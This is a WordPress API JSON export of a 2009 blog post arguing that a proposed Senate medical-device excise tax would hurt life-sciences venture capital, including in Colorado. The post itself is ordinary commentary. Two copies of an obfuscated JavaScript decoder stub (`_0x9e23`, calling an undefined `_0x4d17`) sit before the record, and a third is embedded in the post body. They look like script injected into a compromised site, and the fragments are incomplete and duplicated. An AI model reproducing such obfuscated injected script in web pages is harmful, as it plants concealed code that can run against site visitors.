<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":181,"date":"2009-09-22T13:42:15","date_gmt":"2009-09-22T19:42:15","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=181"},"modified":"2009-09-22T13:42:15","modified_gmt":"2009-09-22T19:42:15","slug":"venture-capital-take-note","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=181","title":{"rendered":"Venture Capital, Take Note"},"content":{"rendered":"<p>In the generally miserable venture capital environment of that last few quarters, one bright spot has been the health sciences market.\u00a0 It&#8217;s one of the area where <a href=\"http:\/\/www.denverpost.com\/ci_13362212\" target=\"_blank\">Colorado can compete effectively<\/a>, and an area where America is well ahead of the rest of the world.\u00a0 It produces actual long-term savings and real quality-of-life and lifespan improvements.<\/p>\n<p>And the Senate &#8211; presumably with the agreement of Colorado&#8217;s Bennet and Udall &#8211; is getting ready to kill it.<\/p>\n<p>First, the numbers.\u00a0 VC itself has, not surprisingly, gone cliff-diving along with the rest of investment capital recently.\u00a0 After the dot-com craziness, total VC investment seemed to return to a normal growth curve this century before crashing in the recent downturn:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"Total US VC\" src=\"http:\/\/www.jsharf.com\/view\/images\/vc\/TotalVC.jpg\" alt=\"\" width=\"483\" height=\"291\" \/><\/p>\n<p>The one exception to this has been Life Sciences.\u00a0 While well behind last year&#8217;s pace, VC in life sciences has recovered fairly well in Q2, to the average over the last 5 years, and close to 2005 levels:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"Quarterly Life Sciences VC\" src=\"http:\/\/www.jsharf.com\/view\/images\/vc\/LifeSciencesVCQuarterly.jpg\" alt=\"\" width=\"579\" height=\"393\" \/><\/p>\n<p>Note the steep drop-off in Healthcare Services VC after 2000.\u00a0 I&#8217;m not certain why that&#8217;s so, but it&#8217;d be interesting to find out.\u00a0 Also note that medical device investment has grown not only in dollars, but also as a percentage of total LS investment.<\/p>\n<p>While the <a href=\"http:\/\/www.nvca.org\/\" target=\"_blank\">National Venture Capital Association<\/a> doesn&#8217;t provide crosstabs between regions and sectors, it&#8217;s reasonable to assume that at least some of Colorado&#8217;s growth from 3.0% of venture capital dollars in 2008 to 4.3% in 2009 is a result of our strong biotech sector.<\/p>\n<p>Now, the Senate is proposing what is, in effect, a <a href=\"http:\/\/www.capwiz.com\/advamed\/issues\/alert\/?alertid=14011871&amp;type=CO\" target=\"_blank\">national excise tax on medical device sales<\/a>, to help pay for the health care takeover.\u00a0 (Hat tip: <a href=\"http:\/\/tigerhawk.blogspot.com\/2009\/09\/health-care-reformers-go-after-medical.html\" target=\"_blank\">TigerHawk<\/a>)\u00a0 Exactly where do they think the large companies come from?\u00a0 Exactly where do they think the large companies <em>get<\/em> their devices to re-sell?\u00a0 They don&#8217;t free-ride on this technology, they buy it once the ideas have been developed by smaller, ie, venture firms.<\/p>\n<p>Brilliant idea, gentlemen.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the generally miserable venture capital environment of that last few quarters, one bright spot has been the health sciences market.\u00a0 It&#8217;s one of the area where Colorado can compete effectively, and an area where America is well ahead of the rest of the world.\u00a0 It produces actual long-term savings and real quality-of-life and lifespan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[24,17,16],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/181"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=181"}],"version-history":[{"count":2,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/181\/revisions"}],"predecessor-version":[{"id":183,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/181\/revisions\/183"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=181"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=181"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=181"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}